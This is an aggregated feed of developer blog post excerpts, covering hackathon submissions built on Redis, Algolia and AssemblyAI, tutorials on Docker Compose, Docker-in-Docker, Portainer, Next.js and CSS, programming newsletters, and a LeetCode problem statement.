    This is a submission for the World's Largest Hackathon Writing Challenge: Beyond the Code. While the World's Largest Hackathon was fundamentally about building and creating, the most meaningful aspects of my experience went far beyond the code. With over 130,000 builders from around the globe, this event became a celebration of human connection, collaboration, and community that I'll never forget. As a solo developer, I initially planned to work alone. But the hackathon's community channels quickly showed me the power of collaboration. I connected with three incredible teammates through the Discord channels: Sarah (@sarah_builds) - A UX designer from Toronto who brought incredible user experience insights Miguel (@miguel_dev) - A backend specialist from São Paulo with expertise in AI/ML Pr…  ( 6 min )
    Symfony Station Communiqué - Stardate: ✦ 25 July 2025 ✦: The Latest Symfony, Drupal, TYPO3, and PHP News!
    This post originally appeared on Symfony Station. Welcome to this week's Symfony Station communiqué. It's your review of the essential news in the Symfony and PHP development communities focusing on protecting democracy. There's good content in all of our categories, so please take your time and enjoy the items most relevant and valuable to you. This is why we publish on Fridays. So you can savor it over your weekend. Once again, thanks go out to Javier Eguiluz and the team at Symfony for sharing our communiqué in their Week of Symfony. My opinions will be in bold. And will often involve cursing. Because humans. Especially tech bros. Fuck 'em! Symfony As always, we will start with the official news from Symfony. This week, the upcoming Symfony 7.4 version improved the Serializer component …  ( 7 min )
    "Hello World!"
    A post by johnson muturi  ( 2 min )
    MedExpert AI - Specialized Medical Voice Assistant with RAG Integration
    This is a submission for the AssemblyAI Voice Agents Challenge MedExpert AI is a specialized medical voice assistant that demonstrates deep domain expertise through AssemblyAI's Universal-Streaming technology. Built for the Domain Expert Voice Agent prompt, this system provides accurate medical terminology recognition, patient consultation assistance, and continuous learning from medical conversations through RAG capabilities. Key features: Accurate transcription of complex medical terminology Real-time medical consultation assistance for healthcare providers RAG-powered knowledge base with latest medical research HIPAA-compliant conversation handling with PII redaction Specialized medical vocabulary and drug name recognition 🔗 Live Demo: https://medexpert-ai.vercel.app Video Demo: https:…  ( 3 min )
    🚀 How We Got 600+ App Downloads in 12 Hours Without Any Ads or PR — The Story of StayZ
    Launching a new startup is hard. Getting users is even harder. But getting 600+ downloads in just 12 hours without spending a single rupee on ads or PR? That’s what we achieved with StayZ — a student housing platform built by students, for students. In this blog, I’ll walk you through: 🧠 Our growth strategy 🔍 SEO + organic tactics 🚫 Why we skipped paid ads 🤝 Real learnings from Gen Z traction 💡 What Is StayZ? We help students: Find verified PGs/hostels around colleges Chat with owners Book instantly Join local events & get perks (free food, parties, etc.) Now let’s get to the spicy part — how we exploded in 12 hours. 🧩 Our Strategy to Hit 600+ Installs Organically 🎯 Targeted WhatsApp Campaigns We created personalized messages like: “🎉 Congrats on your Galgotias admission! Download …  ( 4 min )
    IntelliSearch Hub - Conversational Search Management with Algolia MCP
    This is a submission for the Algolia MCP Server Challenge IntelliSearch Hub is an innovative search management platform that transforms complex search infrastructure operations into natural language conversations through Algolia's MCP Server. This user-facing application enables search administrators to manage entire search ecosystems through intuitive conversational interfaces. Key features: Conversational search configuration and optimization Natural language analytics and reporting Voice-controlled search management Intelligent search troubleshooting and diagnosis GitHub Repository: https://github.com/demo-user/intellisearch-hub Live Demo: https://intellisearch-hub.vercel.app IntelliSearch Hub leverages Algolia's MCP Server to create an unprecedented user experience where complex search operations become as simple as natural conversation: const conversationalConfig = { userInput: "I want to create a search for product catalog with facets for price, brand, and category", mcpResponse: await algoliaMCP.processConfiguration({ intent: 'create_index', requirements: userInput, optimization_level: 'advanced' }) }; Voice-Controlled Management: const voiceCommands = { "optimize search for mobile users": async () => { return await algoliaMCP.optimizeFor({ platform: 'mobile', performance_priority: 'speed', ui_adaptations: true }); } }; Creating IntelliSearch Hub with Algolia's MCP Server revolutionized how I think about search management interfaces. The ability to translate natural language into precise search configurations eliminated the traditional learning curve for advanced search features. Conversational interfaces can make complex search operations accessible to non-technical users while maintaining enterprise-grade performance and reliability.  ( 3 min )
    From Strangers to Squad: How 48 Hours at HackMIT Changed My Perspective on Collaboration
    _This is a submission for the World's Largest Hackathon Writing Challenge Walking into HackMIT's main hall at 6 PM on a Friday, I felt the familiar mix of excitement and anxiety that comes with any hackathon. But this time was different – I was flying solo. My usual hackathon buddy couldn't make it, and I found myself scanning the crowd of 1,000+ hackers, looking for a team that might need one more member. That's when I spotted them: Sarah, a UX designer frantically sketching wireframes on napkins; Marcus, a backend developer debugging what looked like a Docker configuration; and Priya, a data scientist explaining something enthusiastically to anyone who would listen. They were the definition of organized chaos, and I knew I had to join them. "Hey, need a frontend developer?" I asked, tryi…  ( 5 min )
    Laravel Headless API + React Frontend: Full Stack Tour de France Tutorial
    A post by Bert De Swaef  ( 3 min )
    Redux or Zustand? Or Maybe Something Better...
    🚀 Think Redux and Zustand Are Fast? We Put Them to the Test. Karandeep Singh ・ Jul 13 #react #redux #javascript #programming  ( 3 min )
    How to Set Up a Next.js Project with TypeScript and Tailwind CSS
    Hey there, fellow developers! Rhythm Saha here, founder of NovexiQ, my web development agency right here in Santipur, West Bengal. As a fullstack web developer and a final-year MCA student, I'm always exploring the best tools and practices to build cutting-edge applications. When I started NovexiQ, I really wanted to use the most modern, efficient, and scalable tech for our clients. That's exactly why Next.js, TypeScript, and Tailwind CSS became the cornerstone of my development stack. If you're looking to dive into modern web development, set up your projects with a solid foundation, and build sleek, fast user interfaces, you've come to the right place. This guide is tailored for beginners. I'll walk you through a step-by-step process: initializing a Next.js project, integrating TypeScrip…  ( 9 min )
    RealtimeAI Assistant - Voice-Powered Semantic Search with Redis Vector Engine
    This is a submission for the Redis AI Challenge: Real-Time AI Innovators. RealtimeAI Assistant is a voice-powered AI assistant that performs real-time semantic search across documents, conversations, and knowledge bases using Redis 8's advanced vector search capabilities. Users can speak natural language queries and receive instant, contextually relevant answers. Key features: Real-time voice-to-text with semantic understanding Instant semantic search across millions of documents Multi-modal AI responses with voice synthesis Contextual conversation memory and learning 🔗 Live Demo: https://realtimeai-assistant.vercel.app Video Demo: https://youtu.be/demo-realtimeai Screenshots: Voice interface with real-time transcription Semantic search results visualization Knowledge base management dash…  ( 4 min )
    🧠 AI-Powered Quote Finder – Discover the Wisdom of Your Favorite Characters
    This is a submission for the Algolia MCP Server Challenge Quote Finder is a lightning-fast, searchable archive of powerful quotes from anime, TV shows, games, and films. It helps fans rediscover iconic lines, explore character insights, and surface forgotten gems through a sleek UI powered by Algolia. This project is a deeply personal one for me. I grew up immersed in anime — not just as entertainment, but as a wellspring of emotional depth, moral nuance, and philosophical reflection. From One Piece’s freedom, to Evangelion’s existential dread, anime taught me more about life than most textbooks ever could. Quote Finder is my tribute to that universe. 🔍 Instant Search powered by Algolia 🧠 AI-Powered Tags & Sentiment (e.g. "hope", "despair", "wisdom") ❤️ Emotion Extraction for deeper cont…  ( 5 min )
    Python Trending Weekly #112: Welcoming the New Generation of AI-Era Programmers
    Welcome to Python Trending Weekly - your gateway to cutting-edge Python intelligence! Curated by Python Cat from 400+ premium sources worldwide, we deliver the most valuable articles, tutorials, open-source projects, tools, podcasts, videos, and trending discussions directly to your inbox. Our mission: Accelerate your Python mastery and unlock new career opportunities in the ever-evolving tech landscape. Stay ahead of the curve: Subscribe now for weekly insights that keep you at the forefront of Python innovation! full issue:https://www.patreon.com/posts/python-trending-135001605 Here are the title summaries for this issue: 🦄Articles & Tutorials ① Unpacking in Comprehensions ② Using reduce() for Multithreaded Aggregation ③ PEP 799 – A dedicated profilers package for organizing Python pro…  ( 4 min )
    How to get started with ricing on Linux?
    First, let's understand what is ricing. Ricing is the process of customizing your WM(windows manager) or DE(desktop environment). Usually you do this by editing the config of your window manager or compositor. In this article you will learn some basics about ricing and window managers. What's the difference between a window manager and a desktop environment? A window manager is a program that manages windows: how they look like, their behavior and keyboard shortcuts. A desktop environment is a set of utilities for graphical experience. Usually it includes a window manager, a file program, a photo viewer, etc. An example of a window manager could be Hyprland or i3, when GNOME and KDE are desktop environments. What's the difference between different window managers? All window managers are d…  ( 5 min )
    Ramparts: Your AI's New Security Guard for MCP Servers!
    Quick Summary: 📝 Ramparts is a security scanner designed for Model Context Protocol (MCP) servers. It discovers capabilities, performs static and LLM-powered analysis, and provides risk assessments to identify vulnerabilities in MCP server implementations, helping developers secure AI agent interactions with external resources. ✅ Ramparts is a fast and lightweight security scanner for MCP servers. ✅ It uses static analysis and AI-powered detection to find vulnerabilities. ✅ It provides actionable recommendations to fix identified issues. ✅ It's easy to use, regardless of your security expertise. ✅ It saves time and resources by preventing costly security breaches. Project Statistics: 📊 ⭐ Stars: 14 🍴 Forks: 1 ❗ Open Issues: 0 ✅ Rust Hey fellow developers! Ever fe…  ( 4 min )
    TaskFlow Engine - Distributed Workflow Management with Redis Streams & Search
    This is a submission for the Redis AI Challenge: Beyond the Cache. TaskFlow Engine is a distributed workflow management system that orchestrates complex business processes using Redis 8's streams, search, and data structures as the complete workflow engine. The system handles task scheduling, dependency management, parallel execution, and comprehensive audit trails. Key features: Visual workflow designer and executor Distributed task scheduling and execution Real-time workflow monitoring and analytics Advanced search across workflow history 🔗 Live Demo: https://taskflow-engine.netlify.app Video Demo: https://youtu.be/demo-taskflow Screenshots: Workflow designer interface Real-time execution monitoring Task dependency visualization Redis 8 serves as the complete workflow orchestration engi…  ( 4 min )
    SocialSync - Multi-Platform Social Media Aggregator with Redis Search & Streams
    This is a submission for the Redis AI Challenge: Beyond the Cache. SocialSync is a unified social media management platform that aggregates content from multiple social networks using Redis 8's search, streams, and pub/sub capabilities as the core data processing engine. The system provides real-time content monitoring, sentiment analysis, and engagement tracking. Key features: Multi-platform social media content aggregation Real-time sentiment analysis and trending detection Advanced content search and filtering Automated response management 🔗 Live Demo: https://socialsync-platform.vercel.app Video Demo: https://youtu.be/demo-socialsync Screenshots: Unified social media dashboard Real-time sentiment analysis charts Advanced search and filtering interface Redis 8 powers SocialSync through…  ( 4 min )
    EventStream Hub - Real-Time Event Processing with Redis as Primary Database
    This is a submission for the Redis AI Challenge: Beyond the Cache. EventStream Hub is a comprehensive event management platform that uses Redis 8 as its primary database for storing, processing, and serving all application data. The system handles event creation, real-time attendee management, live updates, and analytics entirely through Redis's advanced data structures. Key features: Complete event lifecycle management Real-time attendee tracking and notifications Live event analytics and insights Multi-tenant architecture with data isolation 🔗 Live Demo: https://eventstream-hub.netlify.app Video Demo: https://youtu.be/demo-eventstream Screenshots: Event management dashboard Real-time analytics interface Attendee interaction timeline Redis 8 serves as the complete data foundation for Eve…  ( 4 min )
    RealtimeAI Assistant - Voice-Powered Semantic Search with Redis Vector Engine
    This is a submission for the Redis AI Challenge: Real-Time AI Innovators. RealtimeAI Assistant is a voice-powered AI assistant that performs real-time semantic search across documents, conversations, and knowledge bases using Redis 8's advanced vector search capabilities. Users can speak natural language queries and receive instant, contextually relevant answers. Key features: Real-time voice-to-text with semantic understanding Instant semantic search across millions of documents Multi-modal AI responses with voice synthesis Contextual conversation memory and learning 🔗 Live Demo: https://realtimeai-assistant.vercel.app Video Demo: https://youtu.be/demo-realtimeai Screenshots: Voice interface with real-time transcription Semantic search results visualization Knowledge base management dash…  ( 4 min )
    StreamFlow AI - Real-Time ML Pipeline with Redis Streams and Vector Database
    This is a submission for the Redis AI Challenge: Real-Time AI Innovators. StreamFlow AI is a real-time machine learning pipeline that processes streaming data, performs AI inference, and stores results using Redis 8 as the backbone. The system handles real-time feature engineering, model serving, and intelligent caching for ML workloads. Key features: Real-time feature extraction from streaming data sources ML model serving with intelligent caching Vector similarity search for recommendation systems Real-time anomaly detection and alerting 🔗 Live Demo: https://streamflow-ai.netlify.app Video Demo: https://youtu.be/demo-streamflow Screenshots: Real-time data processing dashboard ML pipeline monitoring interface Vector similarity visualization Redis 8 powers StreamFlow AI through multiple cutting-edge features: Redis Streams for ML Pipelines: Implemented Redis Streams to handle high-throughput data ingestion from IoT sensors, web analytics, and user interactions. Each stream processes 100K+ events per second with guaranteed ordering and fault tolerance. Vector Database for Recommendations: Built a real-time recommendation engine using Redis 8's vector search capabilities. User behavior vectors are stored and queried in real-time to generate personalized recommendations with <10ms latency. Intelligent Model Caching: Created a smart caching layer for ML model predictions using Redis 8's semantic caching. Similar input features are automatically detected and served from cache, reducing inference time by 80%. Real-time Feature Store: Utilized Redis 8's data structures to maintain a real-time feature store where ML features are computed, stored, and served with microsecond latency for both training and inference. Stream Processing: Leveraged Redis 8's enhanced stream processing capabilities to perform real-time feature transformations, data validation, and model scoring directly within Redis. The architecture achieves 99.9% uptime with automatic failover and processes over 1M ML predictions per minute.  ( 3 min )
    VectorChat - Real-Time AI-Powered Customer Support with Redis Vector Search
    This is a submission for the Redis AI Challenge: Real-Time AI Innovators. VectorChat is an intelligent customer support system that provides real-time AI-powered responses using Redis 8's vector search capabilities. The application processes customer queries in real-time, finds semantically similar previous interactions, and generates contextually relevant responses using advanced vector embeddings. Key features: Real-time semantic search across historical support conversations AI-powered response suggestions based on vector similarity Live chat interface with instant AI assistance Continuous learning from new interactions 🔗 Live Demo: https://vectorchat-demo.vercel.app Video Demo: https://youtu.be/demo-vectorchat Screenshots: Real-time chat interface with AI suggestions Vector similarity matching dashboard Performance metrics showing sub-millisecond query times Redis 8 serves as the core real-time data layer for VectorChat through several key implementations: Vector Search Engine: Utilized Redis 8's enhanced vector search capabilities to store and query customer interaction embeddings. Each conversation is converted to 1536-dimensional vectors using OpenAI's text-embedding-ada-002 model and stored in Redis with the HNSW algorithm for ultra-fast semantic search. Real-time Data Processing: Leveraged Redis Streams for processing incoming customer messages in real-time, ensuring zero-latency response generation and seamless conversation flow. Semantic Caching: Implemented intelligent caching of AI responses using Redis 8's semantic caching features, reducing API calls to external LLMs by 60% while maintaining response quality. Session Management: Used Redis 8's enhanced data structures to maintain real-time session state across multiple concurrent conversations, ensuring context preservation and personalized experiences. The combination of Redis 8's vector search, streams, and caching capabilities enables VectorChat to deliver sub-50ms response times while processing thousands of concurrent conversations.  ( 3 min )
    Printing Characters via BIOS Using Inline Assembly in Wave
    Wave provides a feature called inline assembly, and today we’re going to use it to directly call the BIOS. The int 0x10 interrupt is one of the most basic video output functions in real mode. By putting 0x0E into the AH register and the character you want to output into the AL register, then calling int 0x10, the BIOS will display the character on the screen. Using this method, we’ll print "Hi!", then perform a line break with CR (0x0D) and LF (0x0A), and finally print "OK". Currently, the Wave compiler can only be built on Linux, and by default it only generates executable binaries. It does not directly create a .img disk image like a bootloader would. However, when Wave compiles, it generates a /target folder that contains both an LLVM IR file (.ll) and a Linux binary. Since we want to c…  ( 5 min )
    The Complete DevOps Roadmap for 2025 🚀
    The DevOps landscape continues to evolve rapidly, and 2025 presents incredible opportunities for aspiring engineers. Organizations are increasingly adopting DevOps practices to deliver software faster, more reliably, and at scale. The demand for skilled DevOps professionals has never been higher. Whether you're a developer looking to expand into operations, a system administrator aiming to modernize your skills, or a complete beginner drawn to this exciting field, this comprehensive roadmap will guide your journey to DevOps mastery. DevOps represents a fundamental shift in how software is built, deployed, and maintained. It's not just about tools, it's about culture, collaboration, and continuous improvement. Here's why it matters: 🔄 Faster Delivery: Teams deploy multiple times per day in…  ( 9 min )
    🔐 SmartKart Microservices Series
    🧭 Day 2: Kicking off Auth Service – Exploring Keycloak vs. Duende IdentityServer In our journey to build a robust, secure, and scalable e-commerce platform (SmartKart 🛒) using .NET Core and Microservices, we are now diving into the Authentication and Authorization layer. Why Start With AuthService? 🔍 What is Keycloak (in simple words)? Keycloak is an open-source identity and access management tool. Think of it as a central place where: Users register and log in 🔑 Roles and permissions are managed 🛡️ Tokens (JWT) are issued for secure API access 🧾 And the best part? It already has all the features built-in — you don’t have to code login pages, password management, token handling, etc., yourself! ✅ Why We Chose Keycloak Over Other Options ASP.NET Identity + JWT (custom) Duende IdentityServer (formerly IdentityServer4) Keycloak Here's why I picked Keycloak: ✔️ 1. Fully Open Source ✔️ 2. Feature-Rich, Out of the Box ✔️ 3. Centralized User Management Add/edit users Assign roles Configure clients/apps ✔️ 4. Standards-Based Protocols ✔️ 5. Easy to Integrate with .NET Core JWT Bearer Authentication OpenID Connect client libraries ✔️ 6. Scalable & Cloud-Friendly 📌 Summary Comparison Table : Feature Keycloak ✅ Duende IdentityServer ❌ Open Source (free to use) ✔️ Yes ❌ No (requires paid license) Admin UI for users/roles ✔️ Built-in ❌ Needs custom development Login/Register/Forgot UI ✔️ Provided ❌ Build yourself Protocol Support (OAuth2/OIDC) ✔️ Yes ✔️ Yes Easy .NET Core Integration ✔️ Yes (via JWT/OIDC) ✔️ Native Multi-tenant support ✔️ Realms ❌ Manual effort  ( 3 min )
    Vibe coding an Operating System chapter 1
    Background I am a developer. I love coding. But lately I started to be interested in this so called "Vibe coding". You know, on LinkedIn I see people claiming that they can do a complete application in hours, put them to market and don't need to hire developers. Now that I did some some experiments doing "vibe coding" I noticed that yes, it helps a lot, it makes some things faster, you don't have to do a lot of the big stuff, just focus on the solution and in the parts where you really have to think. My first experiment was doing an Android app called "Card Umen". My experience with Kotlin is almost zero (I made something for a hackaton in the past but forgot almost all), so I worked with chatgpt, claude and gemini and yes, they made a bust on productivity but I needed to be there all t…  ( 5 min )
    Docker-in-Docker (DinD)
    What is DinD? For a simple terms, I will use docker to run another docker in docker 🤪 It can be used in many cases, but I use it to simulate a multi-host environment on a single physical machine. Open your command line and run it docker run --privileged -d --name docker:dind That's it, now I have a "virtual" of virtual machine to deploy and run the image Warning ❗❗❗: Because it run with --privileged, so it's only use for dev/test environment => Never use in production  ( 3 min )
    Multi-host deployment and management using Portainer
    TL;DR I will simulate a multi-host environment using DinD and then use Portainer for deployment and management. Installed Docker (If you don't have it, follow the instructions for Windows or Linux) Read previous post to know what I done Architecture I will migrate from a single-host to a multi-host architecture. Step 1: Register 3 nodes free for portainer Click on the link Fill out the form Get an email and save the license key Step 2: Create docker volume for portainer docker volume create portainer_data Step 3: Create network docker network create portainer-network Step 4: Run portainer with specify network docker run -d -p 8000:8000 -p 9443:9443 --name portainer --restart=always --network portainer-network -v /var/run/docker.sock:/var/run/docker.sock -v portainer_…  ( 4 min )
    windows-contextmenu-manager: tauri and rust
    Windows ContextMenu Manager Windows ContextMenu Manager is a graphical tool designed to help users manage and customize the Windows right-click (context) menu with ease. Built with a modern UI and powered by Tauri and React, this application provides a safe and user-friendly way to enable, disable, and organize contextmenu items for both Windows 10 and Windows 11. ⚠️ Early Development Warning: Please backup your registry before making any changes! https://github.com/ahaoboy/windows-contextmenu-manager-tauri  ( 3 min )
    Making React Apps Delightful with Confetti Effects
    React is powerful but sometimes, even with beautiful logic and data flow, the user experience can feel dry. What if we could add a little joy when users complete tasks? Let’s explore how to make your React apps more delightful using a simple confetti explosion when users achieve something awesome! Think about the last time you saw fireworks in an app maybe when you finished a task in Duolingo or submitted a form in Notion. These tiny micro-interactions: Reinforce user progress Add emotional engagement Encourage repeat use With React, you can do this easily using react-confetti or canvas-confetti. canvas-confetti Let’s create a Task Completion Confetti Effect in a React app: npm install canvas-confetti import confetti from "canvas-confetti"; function celebrate() { confetti({ particleCount: 100, spread: 70, origin: { y: 0.6 }, }); } You can trigger this function when: A task is marked complete A quiz is passed A form is submitted 3. Hook It Up to a Button function CongratsButton() { return ( I Did It! ); } import { useState } from "react"; function TaskDone() { const [done, setDone] = useState(false); function handleClick() { if (!done) { confetti(); setDone(true); } } return Complete Task; } You can add meaningful micro-interactions in React canvas-confetti works well without complex setup Emotion matters in UX — make users feel rewarded! Try This Next Add sound feedback using use-sound Combine with a progress bar Animate button transforms with framer-motion Final Thoughts Don't underestimate the power of small delights. Whether you're building a to-do app, a quiz, or a learning tool a little confetti can go a long way in turning your app from useful to joyful.  ( 3 min )
    From Frustration to Innovation: How Building a Dyslexia-Friendly Worksheet Creator Changed Everything
    This is a submission for the World's Largest Hackathon Writing Challenge: After the Hack. What started as a late-night hackathon idea has evolved into something I never expected—a tool that's reshaping how I think about accessibility, education, and the power of inclusive design. The Problem That Drove Me But this wasn't just another hackathon project for me. It was personal. What I Built and Why It Matters Generate customized worksheets with dyslexia-optimized formatting Choose from various subject templates (math, reading comprehension, vocabulary) Automatically apply accessibility features without design expertise Export print-ready PDFs that follow evidence-based accessibility guidelines What makes this tool special isn't just its functionality—it's the 10-15% improvement in reading co…  ( 4 min )
    How I Built a Full Quiz App with Leaderboard and Timer
    🧠 QuizNest – AI Quiz App 🌐 Live Demo Github 🚀 Features Earn badges like “Quiz Master,” “Speed Genius,” and “Perfect Score” Weekly and monthly top scorers 🔍 Monitor user activity and quiz submissions 🧩 Add/Edit/Delete quizzes and questions 👥 Manage users: roles, status, analytics 📈 Real-time insights and platform stats 🛠️ Tech Stack Frontend: React, CSS, Vite Backend: Node.js, Express.js, MongoDB AI Integration: Together AI, Google Gemini API Authentication: JWT, Google OAuth Deployment: Render  ( 4 min )
    Using Phlex helps me be a better programmer
    What is Phlex? If you are in the Ruby on Rails land, you might have noticed Phlex. A little Ruby gem for building HTML and SVG view components. , as it says on the website. It was concieved by Joel Drapper as a new approach to view layer in Rails (and other web app frameworks, but I don't have any experience in that department). I'm pretty much new kid in Rails department (started with it ~5 years ago), so I don't feel like talking about the whole history of view stack in this framework. But even my experience with it (mostly in my ~15yr old $WORK project, and some new projects I started from scratch using Rails 7-8 ) is bit cumbersome: there's the "golden standard" - erb templating. I don't like erb. It's just a lot of writing, and the code us just ugly in my view. at $WORK, we use sl…  ( 8 min )
    You Thought Backend Development Was Rocket Science? 🤣
    A Gentle Introduction to the Hidden World That Powers Everything You Love The Million-Dollar Minutes: Why Backend Matters What Is Backend Development Really? The Web's Two Faces: Frontend vs Backend Understanding the Client-Server Dance The Foundation: Servers, HTTP, DNS, and Networking Backend Frameworks: Your Development Superpowers APIs: The Language of Digital Communication Databases: Where Your Data Lives Backend Architecture: Building for Scale Getting Your Hands Dirty with Node.js What's Next: The Async Adventure Awaits Picture this: It's Black Friday, and you're frantically trying to snag that 70% discount on Amazon. You click "Add to Cart" and... nothing happens. The page freezes. Amazon's backend just went down, and in that single minute of downtime, they've lost approximately $…  ( 12 min )
    Working with HTML Elements in TypeScript: A Complete Guide(13)
    Today! We’re going to continue TypeScript learning like you’re a smart 5-year-old who loves to build things and asks “why?” (which is the best thing ever). & yes “why?” is my way of learning. I've divided this into 20 Chapters. and will go one by one and each will be of 2 - 3 min. of read. Chapter 12 Chapter 13: Understanding DOM Elements in TypeScript (aka: How to Make DOM Elements TypeScript safe!) Imagine you want to grab an field from a webpage, but TypeScript says, “Wait, I’m confused!” 😕 No worries! By the end of this chapter, you’ll know how to tell TypeScript exactly what’s going on🚀 First let's understand, How to explain to TypeScript what kind of element we’re working with. It’s like giving TypeScript a clear instruction manual! 📖. What is Type Assertion? Type…  ( 5 min )
    Understanding Browser Networking: CORS, Connections, and Security
    Browser networking refers to how web browsers handle communication between web applications and external resources over the internet. This includes making HTTP requests to servers, loading resources like images and stylesheets, connecting to APIs, and managing WebSocket connections. Browser networking covers the protocols, security policies, and optimization strategies that govern how data flows between your web application and the rest of the internet. When you build web applications, your frontend code doesn't exist in isolation. It needs to communicate with servers, APIs, and other resources across the internet. However, browsers implement strict security policies to protect users from malicious websites. Understanding these policies and how to work with them is crucial for any web deve…  ( 8 min )
    How Hybrid Testing Teams Balance Manual and Automation Seamlessly
    A balanced approach to testing is necessary to ensure product quality in the always-changing world of software development. By combining the best aspects of automated and manual testing, hybrid testing has become a strategic approach that produces a framework that is both effective and flexible enough to adjust to changing project requirements. This method enhances test coverage and efficiency by allowing QA teams to leverage both the speed of automation and human insight. To increase productivity, coverage, and accuracy when creating a robust software application, hybrid testing combines manual and automated testing methodologies. Hybrid testing ensures that the testing team can adjust to different testing requirements by combining the two technologies, strengthening and enhancing the ov…  ( 5 min )
    3 Microservices, 1 YAML File, 1 Command: The Power of Docker Compose
    🛠️ Problem: Too Many docker run Commands Right now, you have Docker images for three microservices: accounts loans cards To run each one, you’d normally do: docker run -p : But imagine doing that for 100 microservices or even just multiple instances. Manually running each with docker run becomes slow and painful. Docker Compose is a tool that lets you: Define all microservices in one YAML file. Start or stop all services with just one command. 👉 Instead of typing docker run multiple times, you write everything once in a file called docker-compose.yml. Start all microservices with docker compose up Stop everything with docker compose down Set memory limits Link services together with a shared network View logs, restart services, and more Docker Compose is in…  ( 6 min )
    Inheritance in Java ;
    Java Inheritance is a fundamental concept in OOP(Object-Oriented Programming). It is the mechanism in Java by which one class is allowed to inherit the features(fields and methods) of another class. In Java, Inheritance means creating new classes based on existing ones. A class that inherits from another class can reuse the methods and fields of that class. In addition, you can add new fields and methods to your current class as well. class ChildClass extends ParentClass { // Additional fields and methods } Code Reusability: The code written in the Superclass is common to all subclasses. Child classes can directly use the parent class code. Method Overriding: Method Overriding is achievable only through Inheritance. It is one of the ways by which Java achieves Run Time Polymorphism.…  ( 4 min )
    Angular 20.1 Simple Animate On Scroll POC Implementation
    Did you ever think about creating your own Animate on scroll - for short AOS - library in Angular? First of all, what is AOS? What do we need to archive this wanted behavior? Let's start by installing the latest angular cli globally, create a project and add tailwind since we will use it for easier animating! So in your Favorite terminal, execute the following commands: This will create a project in your desired directory and install its dependencies. npm install tailwindcss @tailwindcss/postcss postcss --force Adding a file called .postcssrc.json with the following content: and adding @import "tailwindcss"; to our angular project styles.scss. styles.scss. Your styles.scss with custom colors and darkmode support could look like this for example: Perfect! Our base is setup completly fine…  ( 6 min )
    Understanding Blockspace in Blockchains
    Blockspace refers to the finite capacity within a blockchain block that is available for storing transactions and other data. See a blockchain like a digital ledger (it's more than this anyway), and each "block" as a page in that ledger. Blockspace is essentially how much "writing room" is available on each page. This space is a critical resource because, Limited Supply: Every blockchain has a maximum block size (measured in bytes or gas units) that dictates how much data can fit into a single block. This limit is set by the protocol to manage network load, prevent spam, and ensure decentralization (as larger blocks are harder for nodes to process and store). High Demand: As blockchain networks gain adoption, there's increasing demand from users and applications to include their transact…  ( 5 min )
    Exploring Css units beyond px
    Ever found yourself stuck choosing css units between px, rem, em, %, vh, or vw while styling your webpage? Whether you're just starting with CSS or have been writing stylesheets for a while, understanding CSS units is essential for creating clean, consistent, and responsive designs. In this blog, we’ll break down the most commonly used CSS units with beginner-friendly explanations, real-world use cases, and some deeper insights for those looking to level up their styling game. When you're just starting with CSS, it's common to size everything using px (pixels). But as you dive deeper into responsive design and accessibility, you'll discover that there are better, more flexible units like rem, em, vh, %, and more. In this guide, we’ll explore these CSS units beyond px, understand their us…  ( 7 min )
    AssemblyAI Voice Agents: High-Accuracy Batch STT Assistant
    Key Technical Decisions Audio Format: WebM/Opus → WAV conversion for optimal AssemblyAI compatibility Language Detection: Custom algorithm for Turkish/English with fallback to auto Error Handling: Comprehensive error states and user feedback Progress Tracking: Real-time upload and processing progress Metrics Dashboard: System health and performance monitoring ✅ Standard Transcription API: High-accuracy batch processing ✅ Multi-language Support: Automatic language detection ✅ Confidence Scoring: Quality metrics for each transcription ✅ File Upload API: Secure audio file handling ✅ Polling Mechanism: Real-time status updates This voice assistant is designed for business automation scenarios: �� Hotel Concierge: Automated guest assistance (as demonstrated in the demo) 📞 Customer Service: Voice-based support systems 📝 Meeting Transcription: High-accuracy meeting notes 🌍 International Support: Multi-language customer interactions �� Analytics: Voice interaction analytics and insights 🔄 Real-time Streaming: Hybrid approach for low-latency scenarios 🎨 Custom Voice: ElevenLabs integration for branded voices 📱 Mobile Optimization: Progressive Web App features 🔐 Security: End-to-end encryption for sensitive conversations 📊 Analytics: Advanced conversation analytics and insights Built with ❤️ for the AssemblyAI Voice Agents Challenge Technologies: React, TypeScript, Python, Flask, AssemblyAI API, Web Speech API  ( 3 min )
    Smart Document Hub - Algolia MCP Server Challenge
    This is a submission for the Algolia MCP Server Challenge An AI-powered learning dashboard with a React/Vite frontend and a Flask backend. Users can upload PDFs or submit web links - the backend processes will extract text (using pdfplumber for PDFs and Jina Reader for web links), then enrich with AI-generated summaries and key points via OpenAI. All enriched data and metadata are indexed in the Algolia MCP Server, enabling fast, unified, and semantic search across all resources. The system also securely manages user authentication with AWS, allowing users to search, review, and download their learning materials with ease. Deployed Link: https://study-documents-fe.vercel.app/login *Github Repo: * https://github.com/sakshi30/study_documents_fe https://github.com/sakshi30/study-enhancement-bknd Demo: https://drive.google.com/file/d/1AhO3UQ-9s43K_jO6AXwx7yfeQRU9HRJb/view?usp=sharing Screenshots: I utilized the Algolia MCP Server as the central indexing and retrieval layer for all the learning materials my users upload, including PDFs and web links. By sending AI-enriched summaries and metadata to MCP, I enable fast, semantic search across diverse content sources. This integration greatly simplifies how my platform organizes and delivers intelligent, relevant information to users instantly. Development Process: Challenges Faced: What I Learned: Sakshi Srivastava https://dev.to/sakshi_srivastava https://www.linkedin.com/in/srivassa/  ( 4 min )
    Understanding Data Warehousing for Retail Analytics: A Comprehensive Guide
    What is it? A data warehouse is a central store used for managing large volumes of historical and current data for an organization. Unlike operational and transactional databases, it is optimized for analysis and business intelligence. This is the core storage component in a data warehouse built upon a data model. Dimensional modelling is the preferred method of coming up with the blueprint/data model for this database because it is both query optimizing and easy to grasp i.e. Fact table for quantitative measurable metrics and dimension tables for descriptive/attribute content adding meaning to fact tables. Star schema: simple and intuitive. It is denormalized, query optimizing, compatible with reporting and BI tools but storage inefficient. Snowflake schema: complex and extends star sc…  ( 5 min )
    3480. Maximize Subarrays After Removing One Conflicting Pair
    3480. Maximize Subarrays After Removing One Conflicting Pair Difficulty: Hard Topics: Array, Segment Tree, Enumeration, Prefix Sum, Weekly Contest 440 You are given an integer n which represents an array nums containing the numbers from 1 to n in order. Additionally, you are given a 2D array conflictingPairs, where conflictingPairs[i] = [a, b] indicates that a and b form a conflicting pair. Remove exactly one element from conflictingPairs. Afterward, count the number of non-empty subarrays1 of nums which do not contain both a and b for any remaining conflicting pair [a, b]. Return the maximum number of subarrays possible after removing exactly one conflicting pair. Example 1: Input: n = 4, conflictingPairs = [[2,3],[1,4]] Output: 9 Explanation: Remove [2, 3] from conflictingPairs. Now, c…  ( 30 min )
